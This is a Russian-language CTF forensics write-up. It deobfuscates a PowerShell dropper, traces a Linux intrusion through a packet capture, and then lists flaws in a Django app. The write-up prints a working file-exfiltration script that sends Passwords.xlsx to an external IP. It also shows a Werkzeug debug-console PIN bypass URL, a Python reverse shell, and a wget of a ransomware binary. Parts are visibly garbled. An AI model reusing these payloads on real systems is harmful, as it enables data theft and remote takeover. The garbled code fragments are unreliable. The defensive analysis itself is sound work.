rLrnTTW5hDzG5x5bNpQRnFM6wtj6j3fc1byhCbQ1NF+yySwscfdb3FJt7RcswZz0JK\
dvhcFXHXxMXHEDV3RZtAfF0py7pHMH1mUJAqmLGEczC2EqVeCQGLBs0yWHWs0xWFZel
wqlhlTfRm8oIne1VLWMzzejmmhzGNmYmihM4ZdnY2ppqGkDazNlBrv8ruaHqYHBRljc
5PmsXGxDeuztil0TxuE0BtJWz0J+4VqLNT0iWSQ1PtCakW0zE3KtiK4CYfUgONpbm+c
rMFTC6AeQE2NIbKN2cL2NCrsP22ab49uZUFqNK/f/ny9n9v799fPv6LJ/
2gcYC3ARNfmygH0/Y8/ORw5J+8BHtSceJJqT5g6U0qKBgKW9hD9w8wWLD4Nh/
90CXc0QQUDjD0f31C4JB5TrtPACi0zt+u19f3T4ATmP8PlXxCEGDwYlud3LNL/
uJn7/8GgL/88oNSYj8p610Fh4RiC5g81x1gkYMdewmg/49z/l7FE0PfgRc/
Xutv3HH7+jv5K47/SvzxVdKu6tvb+/8D' ),
[System.io.ComPreSSIoN.ComPreSSIoN.M0de]::DecompreSS) ) ,
[SYstem.Text.ENC0ding]::Ascii)).READtoEND()

```

кидаем base64 строку в <https://jgraph.github.io/drawio-tools/tools/convert.html> и получаем  
Новый код

```

Set-Variable ("4"+"2j") ( [Type]("{0}{2}{4}{1}{3}" -f
'Syste','Ve','m.','rT','Con') ); SET-ITEM ("{3}{1}{2}{0}"-
f'f4Eh','IaBle',':Y','Var') ( [Type]("{3}{2}{1}{6}{5}{4}{7}{0}"-
f'0de','ComPRE','prEssIon.','i0.CoM','i0','s','s','NM')) ;
${8`Wg} = [Type]("{1}{3}{2}{0}" -F 'g','tEXt.e','CODin','n');
( &("{3}{2}{1}{0}" -f 't','bjEc','o','nEW-') ("{1}{4}{2}{0}{3}"
-f'testReA','I0','A','M','.COMPRESSIoN.DeFL')([IO.MemORySTREAM]
( variable ("4"+"2j") )."V`ALue"::("{0}{1}{2}{3}"-
f'F','r0mb','asE64sTRIn','G').Invoke( ("{19}{35}{14}{53}{17}{25}
{55}{48}{13}{27}{30}{45}{38}{44}{49}{41}{56}{47}{6}{18}{22}{23}
{34}{12}{3}{20}{2}{37}{0}{9}{43}{40}{8}{46}{4}{1}{33}{57}{42}{36}
{52}{16}{26}{28}{15}{21}{31}{24}{10}{39}{29}{51}{54}{11}{50}{32}
{5}{7}"-f
'zfSyvJitnGQRnHKoQljSD7Bl','Zzkk3l10V2cwxsfpVKVef+4RYt5l6e2SM8e9kst
maKx/NG/
Yra55c8drzvYkUo+AKJ','TYM+4Jq9AS','IlNutB75b3QU3P0uco','GYx0T8nqLt)
cokFDHUxVuvjo1Fv4jqPeV','rizFEk1Bmw1TySV90ifUcLgP7wwTKqMq1rKk+JPSZ9
TGH','/Fy0smVS+r+T8kDSv7oZp2u3lg5mhb7/
v1fNQXtPTdatASKRi2XJUvF','4+jS+Io+T6G7uRb9F28XDo9yGS1/
aUzYa0x4ii2UkHqlFYpr28Fdn0Cz+fe9s0Fl6alF/
dxDr0VqauitdYn9qmvahWIlzZRjRJ','ZW2rnXahfnk7hwzC2PmbLb1fRi','4H/
qZfrRblRUyQ/
LsLjBud3Nzg4+FclnGUBKZdTyyH15P','e4UMeDbnsaBhr4xPLUEB1hTWJr5IWQfr/
ioLobkxQtPEESFQ/sRqwwMwiwB0dUwLEYhd77vF/n/
wuqq6eB11tePPyTx30','sP5QmMR/mRszga8zc1q6TrmdL','y1M2XS/
k+g8','nGRgm0QWrAj2qZSpR4VdlS0eFNsk','w1KzBi1GC37zNZzj3KlN0T66gzATl
hFDWJkvr6FTR5R78XX/4qL+0FAK/SNMbz1VTu1/ahWHvqqEjanw9/3CEr7qprY/
hBNvMdaVZ+71Gxi','Bd','dHJ/
2FFmUE+jsaf','DZ','2cS034KjdbdPJPd1fCyMbadUQYgMjUbw4VdmmRFBGFjNEVJ9
S0Sk9haKeJrohxFNCW7dpktIYCbxbWCVsfkikjPp0UuRF1+lDYZJY6iSQCXlk6FLRt
8s/ce/

```



```
aHWIlzZRjRJ', 'ZW2rnXahfnk7hwzC2PmbLb1fRi', '4H/qZfrRblRUyQ/
LsLjBud3Nzg4+FclnGUBKZdTyYh15P', 'e4UMeDbnsaBhr4xPLUEB1hTW\
Jr5IW rQfrAnD3', '0IhjghNUqZUHAEX0SVoY0jqJN3SVPTogB1U18KkGF6qwg\HVF
ioLobkxQtpEESFQ/sRqwWMwiwB0dUwLEYh\
D77vF/n/wuqq6eB11teTPPyTx30', 'sP5QmMR/mRszga8zc1q6TrmdL', 'y1M2XS/
k+g8', 'nGRgm0QWrAj2qZSpR4VdlS0eFNsk', 'w1KzBi1GC37z\
NZzj3KlN0T66gzATUT0rzLtZCrb0c2cttenlnrNpmqZuX', 'r0CfcizyZpcuv6Pw1S+
0xmAaetn94dD1hKdy0x7oX+Fqjm9tp8nF590/hFDWJkvr6FTR5R78XX/4qL+0FAk/
SNMbZ1VTu1/ahWHvqqEjanw9/3CEr7qprY/hBNvMdaVZ+71Gxi\
', 'Bd', 'dHJ/
2FFmUE+jsaf', 'DZ', '2cS034KjdbdPJPd1fCyMbadUQYgMjUbw4VdmmRFBGFjNEVJ
S0Sk9haKeJ\
rohxFNCW7dpktIYCxbWCVsfkikjPp0UuRF1+LDYZJY6iSQCXlk6FLRt08ZXAiX1L\
ggqY1BQlx', 'h8abGnf58V8crwbfbket0', 'h9HuTTJMazp6bfuY97S1JzqZB8sZI4S
YkyFyp5yee512gv2IHYc/8s/ce/
qtnAlLfUa4u1B0fFy+DQ+5Hhl3h2whkG7WLPQL5xB+0zRmpRN8ncQbXLDy19Wdvo3nl
dqtX0SrtF22DFBs/d', '4MjdcmoPBXF7jLCWFfkq3ypWkLi', '54eIp/
616f59Zn', 'YEnmJa4ewpzN4WqWX0j4v+A9es93CwUGKFE63g', '4/3L8nU\
u36yJS3j2p2BhCbWT1+XTW', 'kQ99I', 'XtmvMAWsJNZo0zgCat', 'kWzeqeVaF07ME
QTiom56', '+3WPsClN28KAJ2', 'ObjDCisw9LP/
ZdYInTkBi+kz8z+bgJF9ZD1YOLf0JN4iW5dKrT88wLB2Cif210tQzaVJzZbmbSZNai
sG', '4sZSQ2MFUxliUcDY/
M+hKULFIwMQ+ECd1qFkP4ZuSxe0gQGqUkBVA5TuLZVSkG005QgSRMsQRwdFGmVPXkC
Py0SlfgadnaFJgQRZAtxBHglIBzCRegq7wAoYpxjDQ6ZQBAXgMkx4Ag48JQwUK3NhA
veZgm8CdSxt26+iqfU2jsDqw0C4lqbXHRKkm4eFN+d9', 'qRUNgZRERCpzbwyIpySu
PH48jWkq66cRebmKcezh3njqVYM1q3r/
iBdgr+1h3th9J+FB192V', '28CEiZ6GzwUYdUBjNF1VR1FytbouL0wJN4VJggryewI
Ni2D0bt0SQ8Nvnf740gaI9/
HMyUIvpqKJScD+s6L90ilq0Vckyz0V4KPX0v6+P0fETezp5zrEoPLI/
2qNKRr', 'vPfd1Z7BrvlKF5rBcuZ1mk7g6fkx\
Kz1eHNN680WWbxd5tvfd6w44DrUtGTgvfN023T69Q/SH7gu/fIwU//6MRNHf+j/
Y+osX+Kzv160+yHf/8v6MU++1VKP3eI2c', '1AlxeWrvw0zxR1Ph\
+Q6', 'IC4FoPHijQdvxbFnUTYzaPxqJdz/
09', 'L0ViwZw8PHcnw4MKZLu', '3xmlI2tokkcS', 'BQYYPFAfQabnDmaIb5CKjSgN
jrKSUZ+ZvCPsFPhVxp5e6MWLqyVaoAFmpDZzoASb', 'ax+myArFeDSkzXhsligGBw1
HXRulWonFer0NbVat6jLbtwZ6nLIPvXq\
1SZ0oiVu1SQnyKxcLhTQJyHTm892QIXvZJEFgdszAqS8RW2ezJNdI50Qj0xUaAwF/
7ZD7y2A5W9RcsLL5nL37qc0bKWVL9g7QSupH0J6VPV3S+y0+Mw\
XkfZhcyRvn3do3CV2Lr/eJW' ]
>>> for i in a:
    print(b[i], end='')
VZdZc+JYEoX/ioLobkxQtpEESFQ/sRqwWMwiwB0dUwLEYhD77vF/n/
wuqq6eB11teTPPyTx3054eIp/616f59Zn4+jS+Io+T6G7uRb9F28XDo9yGS1/
aUzYa0x4ii2UkHqlFYpr28Fdn0Cz+fe9s0Fl6alF/
dxDr0VqauitdYn9qmvaHWIlzZRjRJIC4FoPHijQdvxbFnUTYzaPxqJdz/
09e4UMeDbnsaBhr4xPLUEB1hTWJr5IW rQfrAnD3c6L010/5RrDZ+Xt5X8mzfKttdkW
hFDWJkvr6FTR5R78XX/4qL+0FAk/SNMbz1VTu1/ahWHvqqEjanw9/3CEr7qprY/
hBNvMdaVZ+71Gxi3xmlI2tokkcSwVMq8jJe16LAQSEY60uHnBQLDnStorZGghqzZbcf
iBdgr+1h3th9J+FB192V/Fy0smVS+r+T8kDSv7oZp2u31g5mhb7/
v1fNQxtPTdatASKRi2XJUvFdHJ/2FFmUE+jsafK6rRe+A/
S0Sk9haKeJrohxFNCW7dpktIYCxbWCVsfkikjPp0UuRF1+LDYZJY6iSQCXlk6FLRt
M+hKULFIwMQ+ECd1qFkP4ZuSxe0gQGqUkBVA5TuLZVSkG005QgSRMsQRwdFGmVPXkC
```

TGhIlNutB75b3QU3P0ucosP5QmMR/  
mRszga8zc1q6TrmdLTYM+4Jq9AS4/3L8nUu36yJS3j2p2BhCbWT1+XTWzfSyvJitnG(  
ZdYInTkBi+kz8z+bgJF9ZD1Y0Lf0JN4iW5dKrT88wLB2Cif210tQzaVJzZbmbSZNai(  
maKx/NG/  
Yra55c8drzvYkUo+AKJh9HuTTJMazp6bfuY97S1JzqZB8sZI4S0e1mBhPVeaeU9Uod;  
8s/ce/  
qtnAlLfUa4u1B0fFy+DQ+5Hh13h2whkG7WLPQL5xB+0zRmpRN8ncQbXLDy19Wdvo3nl  
dax+myArFeDSkzXhsligGBw1soBy6Qbz8GZKUd2D/  
HXRulWonFer0NbVat6jLbtwZ6nLIPvXq1SZ0oiVu1SQnyKxcLhTQJyHTm892QIXvZJf  
7ZD7y2A5W9RcsLL5nL37qc0bKWVL9g7QSupH0J6VPV3S+y0+MwXkfZhcyrvn3do3CV;  
eJW+3WPscLn28kAJ2YEnmJa4ewpzN4WqWX0j4v+A9es93CwUGKFE63g1AlxeWrvw0z;  
qZfrRblRUyQ/  
LsLjBud3Nzg4+FclnGUBKZdTyyH15PBdDZZW2rnXahfnk7hwhzC2PmbLb1fRiy1M2XS,  
k+g8ggPeUG080gXnurUnjMnDGGVYgqgY1BQlXr0CfcizyZpcuv6Pw1S+s29nuvkIPdMf  
SH7gu/fIwU//6MRNHf+j/Y+osX+Kzv160+yHf/8v6MU+  
+1VKP3eI2cL0VwZw8PHcnw4MKZLuA8s0+og1C2UIQEJ4Ni2D0bt0S08Nvnf740gaI;  
HMyUIvpqKJScD+s6L90ilq0Vckyz0V4KPX0v6+P0fETezp5zrEoPLI/  
2qNKRrh8abGnf58V8crwbfket06jWP910lB8I/  
cokFDHUXvuvjo1Fv4jqPeVdah5SrxpFdvR2P8

снова расширяваем и получаем

Новый код

```
.("{1}{3}{0}{2}"-f'ria','SEt-','ble','vA') ("kl"+"M") ([TYPE]  
("{1}{2}{0}"-f 'ert','co','NV') ); &("{0}{1}{2}" -f'SEt','-  
I','TeM') ('vAri'+aBLe:aDj+'2'+8') ([TYpe]("{2}{3}{1}{0}{4}"  
-F 'NmOD','Ssio','io.COmpression.CO','MprE','E')) ; Set-Variable  
-Name OUBr -Value ([TYpE]("{0}{5}{2}{3}{1}{4}"  
-f's','enC','x','T.','0ding','yStEM.TE')) ;(&("{2}{0}{1}"  
-f'Obje','CT','neW-') ("{9}{0}{8}{5}{1}{7}{3}{6}{2}{4}"-f  
'Em','ESSiON','EST','EFL','REAM','OMPR','aT','.d','.Io.c','SyST')  
([iO.MEMoRystREAM] ( &("{1}{0}{2}" -f'ArIaB','V','le')  
("kl"+"m") -VALUeOnL ))::("{0}{1}{2}{3}{4}" -f  
'F','ROMBA's','E64strI','N','g').Invoke(("{4}{26}{160}{225}{57}  
{187}{147}{200}{174}{208}{181}{97}{202}{41}{115}{53}{140}{110}{86}  
{243}{219}{66}{29}{173}{50}{101}{7}{141}{189}{85}{31}{135}{179}  
{32}{224}{156}{65}{49}{25}{195}{158}{10}{56}{175}{203}{67}{236}  
{204}{126}{43}{38}{74}{18}{190}{129}{233}{69}{197}{34}{27}{143}  
{20}{13}{11}{8}{186}{108}{244}{176}{172}{142}{223}{119}{228}{133}  
{0}{3}{90}{35}{227}{235}{167}{146}{96}{77}{164}{226}{30}{240}{152}  
{183}{148}{78}{151}{62}{209}{214}{161}{184}{42}{81}{73}{117}{39}  
{9}{15}{102}{51}{239}{113}{93}{127}{136}{165}{80}{61}{22}{84}{64}  
{211}{107}{120}{216}{91}{171}{95}{48}{2}{199}{63}{5}{75}{137}{180}  
{12}{28}{114}{82}{105}{210}{194}{198}{238}{17}{68}{83}{24}{230}  
{99}{193}{100}{87}{150}{196}{134}{242}{155}{177}{59}{106}{111}  
{125}{124}{234}{112}{154}{122}{231}{79}{128}{40}{205}{132}{37}  
{104}{88}{21}{206}{109}{36}{145}{222}{170}{121}{118}{6}{46}{207}  
{192}{220}{168}{70}{47}{138}{157}{94}{139}{58}{123}{130}{159}{188}  
{215}{149}{144}{163}{116}{169}{92}{23}{71}{16}{213}{103}{54}{76}  
{55}{60}{182}{217}{153}{72}{52}{19}{229}{221}{191}{1}{44}{212}  
{232}{162}{241}{218}{98}{33}{14}{185}{131}{166}{45}{237}{201}{89}
```



```
{178}" -f'BVu','W','u1I','P0','Z','k','H8Bp','qx/
k','PP','EhH+lBbl3YYi','+', 'iDX517HI41','p5','mff','+', 'X','C','E',
0P','aNBs','1','4F7wDQW7EhbJW7LR','Vlgnw','P+d/3','NN/
Wi','iUL','U','JLVy','gn0','6NGgZ','Cueyi','pzCwTaUYra','i','7','0:
Pe9Z6al','ep0f','dQ','Q+', '/', 'k7/
IPCa05S','g','h','qp9h5','rf6ViVdlaNViYFsZMBdg','bI','0','aVygTmsce
17sP4','M+os0zMzStq','Wi00Z','0gt','lo','L2','vwP','RFGN3','xC','mI
+', 'BJ','MdiYyby','d','3g+', 'yf4H','JoIN','X5nMyBar','DBhh0wQ','fRI
yL0','zacxqA2','VRZWwbTLw','x9')), $ {aDJ`28}::"DeC`0mPre`Ss" )|
&('%') {&("{0}{1}{2}"-f 'n','e','W-ObjeCT') ("{2}{0}{4}{3}{1}"-
f'm.Io.sTrE','ADeR','SySTE','e','AmR')($ { _ , (&("{1}{0}"
-f'cI','g') ("{1}{0}{2}"-f
'RIAb','vA','Le:ouBR')).vaLuE::"A`ScII" )} ).("{1}{2}{0}"
-f'D','ReaD','TOEN').Invoke()| &("{0}{2}{4}{1}{3}"-f 'inv0ke-
E','sIo','X','N','pRES')
```

и снова тоже самое, переставляем и дешифруем

Новый код

```
.("{2}{0}{3}{1}" -f'ria','LE','sEt-VA','b') ("UD9"+"j"+"41")
( [tYpE]("{1}{0}"-F't','COntVer')); $ {u`6H8} = [TyPE]("{0}{1}"-
f'io','.fIlE'); &("{3}{0}{1}{2}"-f't',' -Va','riable','Se') -Name
("{1}{0}"-f'est','t') -Value ( $
{U`d`9J41}::"to`BAse64`S`T`RinG"( ( .("{2}{0}{1}{3}" -f
'-','vArIA','GeT','BLE') ('U6'+`H8')).vALue::("{2}{3}{1}{0}" -f
's','Byte','ReadA','ll').Invoke((((("{5}{12}{10}{2}{1}{14}{16}{13}
{8}{6}{9}{4}{0}{3}{15}{7}{11}"-f'w','DOMA','v.','ord','Pass','C:
{0}
Users{0}','s','s','ent','{0}','ano','x','rom','Docum','I','s.xl','f
f[cHar]92)))));
&("{1}{2}{0}{3}" -f'i','Set-V','ar','able') -Name ("{2}{0}{1}"
-f'c','ket','so') -Value (&("{2}{0}{1}"-f '-Obj','ect','New')
("{1}{2}{3}{6}{0}{5}{4}" -f
'cp','net.s','ockets','.', 'ent','cli','t')(("{3}{0}{1}{2}"-f
'03','.137.2','50.153','1'),8080));
&("{0}{3}{2}{1}" -f'Set-','e','bl','Varia') -Name ("{0}{1}"-
f'strea','m') -Value ($ {S0c`K`eT}.("{2}{0}{1}"
-f'etStrea','m','G').Invoke());
&("{0}{2}{1}{3}" -f'Set-Va','a','ri','ble') -Name ("{0}{2}{1}" -f
'wr','ter','i') -Value (.("{0}{1}{3}{2}"-f'new-o','b','ect','j')
("{0}{4}{2}{3}{1}"-f 'Sy','eamWriter','.IO.S','tr','stem')($
{S`Tr`Eam}));
.("{1}{0}{2}"-f'Var','Set-','iable') -Name ("{0}{1}{2}" -f
'b','u','ffer') -Value (.("{1}{2}{0}{3}"-f'bj','ne','w-o','ect')
("{2}{1}{0}" -f'yte[]','m.B','Syste') 1024);
${Wr`itER}.("{0}{1}{2}" -f 'Wri','te','Line').Invoke(${Te`sT});
${S`ockeT}.("{1}{0}"-f'e','clos').Invoke()
```

ого уже что то интересное. мы не видим следы Base64 а значит уже подоши к концу. преобразуем этот код в более менее читаемый так же как мы это делали с Base64 строкой

## Итоговый скрипт

```
# Создание переменной с именем "test"
Set-Variable -Name "test" -Value
( [System.Convert]::ToBase64String( [System.IO.File]::ReadAllBytes(
\Users\romanov.DOMAIN\Documents\Passwords.xlsx" ) ) )

# Создание переменной с именем "socket" (TCP-клиент)
Set-Variable -Name "socket" -Value (New-Object
net.sockets.tcpclient("103.137.250.153", 8080))

# Создание переменной "stream" (сетевой поток)
Set-Variable -Name "stream" -Value ($socket.GetStream())

# Создание переменной "writer" (объект для записи в поток)
Set-Variable -Name "writer" -Value (New-Object
System.IO.StreamWriter($stream))

# Создание переменной "buffer" (буфер для чтения данных)
Set-Variable -Name "buffer" -Value (New-Object System.Byte[] 1024)

# Отправка содержимого переменной "test" (закодированный файл) на
удаленный сервер
$writer.WriteLine($test)

# Закрытие соединения
$socket.close()
```

теперь мы можем четко увидеть что вредоносное приложение  
соединено с 103.137.250.153:8080 а файлом подверженным  
атаке вредоносного по был C:.DOMAIN.xlsx

---

# Машина 2 Linux

## Начало

### Изучение диска

Сначала я увидел image.img и dump.raw (на кали).

Сразу я решил открыть image.img через testdisk и скопировал  
себе в папку image/ некоторые директории из корня: bin.usr-is-merged/, home/, media/, opt/, root/, tmp/, etc/, lib.usr-is-merged/, mnt/, proc/, sbin.usr-is-merged/, var/

Сразу обратил внимание, что в opt/ есть Addition для  
VirtualBox (эта информация не пригодилась)

Далее я обратил внимание на содержимое /home/ioal/. Там была папка app/, внутри которой вроде было приложение в докере, но все файлы оканчивались на .enc и внутри ничего не было понятно

## Запуск системы

После этого я решил запустить эту систему через

```
qemu-system-x86_64 \
-m 4096 \
-drive format=raw,file=image.img \
-cpu host \
-smp 6 \
-machine type=q35,accel=kvm
```

Внутри была Ubuntu 24.04.1 LTS (Noble Numbat) и единственный аккаунт ioal

## Попытка входа

Пароль от него я не знал, поэтому решил скопировать себе /etc/passwd и /etc/shadow

Я прописал fdisk --list image.img и узнал оффсет раздела с убунтой - 4096 (4096 \* 512 = 2097152)

Далее я создал папку /mnt/tmp (на кали) и прописал sudo losetup --offset 2097152 /dev/loop667 image.img и sudo mount /dev/loop667 /mnt/tmp

Таким образом я скопировал себе /etc/passwd и /etc/shadow и попытался узнать пароль от ioal с помощью john, но, к сожалению, не вышло (остановил проверку хеша на 58.1% на вордсете rockyou.txt (в кали /usr/share/wordset/rockyou.txt.gz распаковал через gunzip в /usr/share/wordset/rockyou.txt))

Тогда я просто решил sudo chroot /mnt/tmp/ и через useradd qwerty, passwd qwerty создал себе пользователя, которому через usermod qwerty -sG sudo выдал доступ к sudo (я потом еще пожалел о том, что сразу не создал /home/qwerty, потому что файловый менеджер (Nautilus вроде) уничтожил мне виртуалку сообщениями об ошибке)

Я заметил, что хост называется fileshare, а его айпи (ip a):

- enp0s2: 10.0.2.15/24 (DNS 10.0.2.3)
- br-4d2c7d1f6f87: 172.18.0.1/16
- docker0: 172.17.0.1/16

В /root/.bash\_history я обнаружил следы, вероятно, организаторов:

```
cd nto-forensics/  
ls  
cp -r project /home/ioal/app  
cd /home/ioal  
ls  
cd app  
ls  
cd ../  
chown -h  
chown --help  
chown -hR ioal ./app  
ls -al  
exit  
cd nto-forensics/  
ls  
ls -al  
cd ../
```

И заметил, что в /home/ioal/ нет никаких файлов

## Создание лога журнала

Дальше я сделал себе свой system.log при помощи sudo journalctl --no-tail > /home/qwerty/main.log, после чего срезал его до /home/qwerty/prev.log (без запуска 26 марта и позже, т.е. только 16 января и 22 января)

Я очень долго копался в логах журанала, но ничего толкового так и не нашел (нашел пару выключений при помощи кнопки выключения, несколько резких выключений, действия AppArmor'a (обычно над фаерфоксом) и всякое другое)

## Продолжение

После всего этого я устал и решил наконец открыть dump.pcapng (на кали)

Сначала я вслучайную нажимал на пакеты и в какой-то момент обнаружил в TCP DATA строку

```
root@7a5a67189bc9:/app#
```

Которая исходила от 172.18.0.3 к 10.10.10.12 (не .3), затем от 10.10.10.3 к 10.10.10.12 (на порт 9001)

Потом заметил команды, которые исходили от 10.10.0.12 (9001) к 10.10.10.3, затем от 10.10.10.12 (не .03) к 172.18.0.3

И понял, что надо просто просмотреть все пакеты по очереди и оценить находки

## Действия в дампе трафика

Последовательно переключая пакеты я понял, что:

Все проделки идут от 10.10.0.12 через 10.10.10.3 (просто ретрансляция, видимо тогда айпи был не 10.0.2.15 или было еще одно подключение и машина тогда была 10.10.10.3) на 172.18.0.3

Как помнится по айпи на хосте, 172.18.0.0 - это мост докера (значит 172.18.0.3 - это сам сервис)

В докере был запущен python сервис, у которого был путь / console, доступ к которой получил злоумышленник (10.10.10.12 через 10.10.10.3) и нашел там "SECRET"="yqqPfQiFZmXsmnZQYMPF" в разделе script в теле HTML

Далее злоумышленник подобрал url так, что смог обойти пин-код при помощи этого secret'a

```
GET /console?
__debugger__=yes&cmd=pinauth&pin=123-456-789&s=yqqPfQiFZmXsmnZQYMPF
```

и получил доступ к python консоли, в которую вписал реверс-шелл

```
/console?
&__debugger__=yes&cmd=import%20socket%2Csubprocess%2Cos%3Bs%3Dsocke
%3Bs.connect((%2210.10.10.12%22%2C9001))%3Bos.dup2(s.fileno()
%2C0)%3B%20os.dup2(s.fileno()%2C1)%3Bos.dup2(s.fileno()
%2C2)%3Bimport%20pty%3B%20pty.spawn(%22bash%22)&frm=0&s=yqqPfQiFZm)
```

Команда реверс-шелла:

```
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.10.12",9001))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
import pty
pty.spawn("bash")
```

И, получил доступ к root в докере при помощи ls /dev, 'mount / dev/sda2 /mnt,cd /mnt/home`

Потом прописал эти команды:

```
cd ioal
rm .*
cd ../
```

```
cd ioal
wget http://81.177.221.242:8125/app
```

rm .\* удалил все файлы в домашней директории, а wget пожаловался на то, что директория app уже есть (в ней был тот самый докер сервис)

```
ls
cd ../
wget http://81.177.221.242:8125/app
./app
chmod +x app
./app
exit
```

С помощью этих команд злоумышленник поднялся в /home и запустил шифровальщик

При запуске этот app несколько раз написал

```
CUSTOM_write found, patched.
ok
```

И затем

```
Encrypting ./app: Encrypting ../ioal/app/docker-compose.yml:
Encrypting ../ioal/app/server/requirements.txt: Encrypting ../
ioal/app/server/wait-for-postgres.sh: Encrypting ../ioal/app/
server/Dockerfile: Encrypting ../ioal/app/server/templates/
index.html: Encrypting ../ioal/app/server/__init__.py:
Encrypting ../ioal/app/server/assets/css/listr.pack.css:
Encrypting ../ioal/app/server/assets/css/custom.css:
Encrypting ../ioal/app/server/assets/css/jquery.filer.css:
Encrypting ../ioal/app/server/assets/fonts/fontawesome-
webfont.woff: Encrypting ../ioal/app/server/assets/fonts/
jquery.filer-icons/jquery-filer.ttf: Encrypting ../ioal/app/
server/assets/fonts/jquery.filer-icons/jquery-filer-preview.html:
Encrypting ../ioal/app/server/assets/fonts/jquery.filer-icons/
jquery-filer.svg: Encrypting ../ioal/app/server/assets/fonts/
jquery.filer-icons/jquery-filer.eot: Encrypting ../ioal/app/
server/assets/fonts/jquery.filer-icons/jquery-filer.woff:
Encrypting ../ioal/app/server/assets/fonts/jquery.filer-icons/
jquery-filer.cs
```

Таким образом все оставшиеся файлы в домашней директории и сам app были зашифрованы

## Решение задач

Я просто начал выписывать соответствующие пакеты (их содержимое) и их номер + время

Когда я дошел до app я решил погуглить "CUSTOM\_write found" и нашел единственную ссылку на проект на гитхабе [linux-anti-debugging](#), который использовал ptrace для обфускации

Я предположил, что app работает так же

## Задание 2-3

Я решил проверить, правда ли app работает схожим образом.

Я прогнал его через strace (strace ./app > /home/qwerty/app.strace.log 2>\$1) и выяснил, что вывод содержит много примерно одинаковых строчек:

```
wait4(4824, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], 0, NULL)
= 4824
ptrace(PTRACE_SYSCALL, 4824, NULL, 0) = 0
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=4824,
si_uid=1001, si_status=SIGTRAP, si_utime=0, si_stime=0} ---
```

И несколько раз отвечает

```
ptrace(PTRACE_SYSCALL, 4824, NULL, 0ok
) = 0
```

Это значит, что приложение использует ptrace так же, как и в приведенном аналоге (маскирует свои сисколлы через ptrace для подмены) для скрытности

## Задание 2-6

Как настало время решать 2-6 я скачал app себе на кали при помощи таковой функции в wireshark'e (файл -> экспортировать объекты -> HTTP -> text/plain app)

Когда я решил открыть его в ghidra, я увидел в конце текст, который потом еще раз увидел при помощи strings ./app:

```
...
PROT_EXEC|PROT_WRITE failed.
_j<X
$Info: This file is packed with the t
Z executable packer http://upx.sf.net $
$Id: t
Z 4.24 Copyright (C) 1996-2024 the t
Z Team. All Rights Reserved. $
_RPWQM)
j"AZR^j
PZS^
/proc/self/exe
...
```

Это означало что арх был сжат при помощи урх

Этот урх был скачан на кали, но когда я использовал урх -d ./ арх он мне сказал, что не в его кондициях распаковать этот файл (так же ответил и скачанный мной напрямую с гитхаба, более новой версии)

Тогда я решил поэкспериментировать с этим приложением и пошифровал несколько тестовых файлов, но, к сожалению, не в моих силах было разобрать алгоритм шифрования

Проконсультировавшись с gemini-2.5-pro-exp-03-25, мне было предложено использовать hexdump, и, хотя данные (след/отпечаток) не совпали с ни одним известным гемини методом шифрования, я увидел сигнатуру beef dead bade c0fe, которая присутствовала во всех зашифрованных файлах (пример с Dockerfile.enc):

```
hexdump ./Dockerfile.enc
```

```
00000000 beef dead bade c0fe 2ad6 50f9 b923 a3f6
00000010 8583 09fe 8c9f 3e36 73e0 e4cc 2159 a88f
00000020 eca6 af29 8993 638d b272 1cac 77fc 79a3
00000030 cfc2 674c 18d8 259c 705b 309b e774 711d
00000040 7f50 8519 9c6b a4e6 f8b4 82b3 4ba0 a875
00000050 7a7f 9f27 e4ca 8e9e b3cf d310 f56d 4fdf
00000060 895b f9fa 0165 e527 9d69 1eb1 5637 155a
00000070 45b0 d999 d4e0 571e 4154 6998 5e5d b671
00000080 3736 70cc b1e8 4307 9b63 377f b983 7e02
00000090 6ab2 3f23 c057 08ab 81c0 3986 5225 acea
000000a0 4fb8 420c 7fb1 b1f1 7e31 38aa 2753 56c6
000000b0 8655 2090 4c4d 362e b94a 13d5 248e 96f6
000000c0 414a 8e69 03db 82f6 4061 1a95 898a bda1
000000d0 b951 98ac cf49 041d e188 5c04 9f32 b3b9
000000e0 c4e8 cb05 fd77 211b fc10 fc47 b35c 87bb
000000f0 7f5e cd64 5aa3 2ded ea50 674e 49f7 69b5
00000100 ac54 4cc9 9cfb 4bcd 7d78 4e34 8a62 a862
00000110 dc5a ee26 b93e cade
00000118
```

---

## Непрошенные гости 1

Не используется декоратор, что приводит к общедоступности ручек

@login\_required

Черный список использует разные ключи



```
def is_token_blacklisted(token):
    return redis_client.exists(f"blacklist:{token}")
```

```
def blacklist_token(token: str):
    redis_client.set(f"black:{token}", "blocked")
```

## SQLi

```
with connection.cursor() as cursor:
    query = f"SELECT * FROM myapp_user WHERE login = '{username}'
            AND password = '{password}'"
    cursor.execute(query)
    user = cursor.fetchone()
```

## Декоратор

```
@csrf_exempt
```

## Пароли не хешируются

```
cd = form.cleaned_data
```

```
new_user = User(login=cd['username'],
                 password=cd['password'],
                 surname=cd['surname'],
                 name=cd['name'],
                 lastname=cd['lastname'],
                 photo='',
                 role=cd['role'],
                 group=group, email=cd['email'])
```

## Опечатка при проверки роли

```
elif user.role == 'STU':
    marks = Mark.objects.filter(user=user, subject=sub)
    ....
if user == 'STU':
    return redirect("/")
```

## CORS nginx config

```
add_header Access-Control-Allow-Origin * always;
proxy_set_header Access-Control-Allow-Origin *;
```

## Хардкод секретов

```
# SECRET_KEY = os.popen("cat /run/secrets/secret_key").read()
SECRET_KEY = "Abqh4LSVdohqrlhtalvifAmEsymAvY9p"
```

```
SQLALCHEMY_DATABASE_URL = f'postgresql://
postgres:postgres@db:5432/postgres'
```

```
DATABASES = {
    'default': {
        'ENGINE': 'django.db.backends.postgresql',
        'NAME': "postgres",
        'USER': "postgres",
        'PASSWORD': "postgres",
        'HOST': 'db',
        'PORT': '5432'
    }
}
```

Поиск доступен всем + sql

```
@csrf_exempt
def search(request):
    query = request.GET.get('q', '')
    with connection.cursor() as cursor:
        query1 = f"SELECT * FROM myapp_user WHERE surname LIKE '{query}' OR name LIKE '{query}'"
        cursor.execute(query1)
        results = cursor.fetchall()
    return render(request, 'mysite/search.html', {'results': results})
```

---

## Непрошенные гости 2

